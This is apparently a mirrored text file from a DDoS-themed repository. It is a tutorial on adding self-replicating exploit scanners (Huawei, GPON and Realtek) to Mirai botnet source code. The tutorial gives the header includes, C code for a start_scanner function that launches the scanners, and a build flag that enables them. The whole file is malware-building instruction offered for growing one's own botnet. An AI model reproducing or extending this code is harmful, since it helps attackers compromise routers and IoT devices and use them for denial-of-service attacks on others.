Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/HOW TO USE/howaddselfrep.txt
5037 views
1
Welcome Back, Today Im Showing You How To Add A Selfrep Into A Mirai Source, This Is One Of Multiple Ways To Do This.
2
3
First We Need To Include The Selfreps Headers By Adding
4
5
These Will Vary Depending On Your Selfreps.
6
7
#include "huawei_scanner.h"
8
#include "gpon80_scanner.h"
9
#include "gpon8080_scanner.h"
10
#include "realtek_scanner.h"
11
12
Next, We Are Going To Add A Piece Of Code To Make The Reps Work So To Say <3
13
Edit The "ints" To Match The Code You Need. These Can Be Found In The .h Of The Files.
14
Mine Is Setup For Gpon80, Gpon8080, Realtek And Huawei.
15
16
SelfRep Code:
17
#ifdef SELFREP
18
void start_scanner(void)
19
{
20
int rand_num = 0, processors = sysconf(_SC_NPROCESSORS_ONLN);
21
22
srand(time(NULL));
23
rand_num = rand() % 100;
24
25
if(processors > 1)
26
{
27
#ifdef DEBUG
28
printf("[debug] device has 2 or more processors, running both scanners.");
29
#endif
30
huaweiscanner_scanner_init();
31
realtek_scanner();
32
gpon8080_scanner();
33
gpon80_scanner();
34
scanner_init();
35
} else if(rand_num > 35)
36
{
37
gpon8080_scanner();
38
gpon80_scanner();
39
} else
40
{
41
huaweiscanner_scanner_init();
42
realtek_scanner();
43
scanner_init();
44
}
45
}
46
#endif
47
48
49
Next We Edit The Build.sh By Adding " -DSELFREP" To The Compile Stage.
50
51
Thats Pretty Much It, Besides Editing The Reps To Run For Your Net, But Thats Self Explanitory.
52
53
54
55
56
57
58
59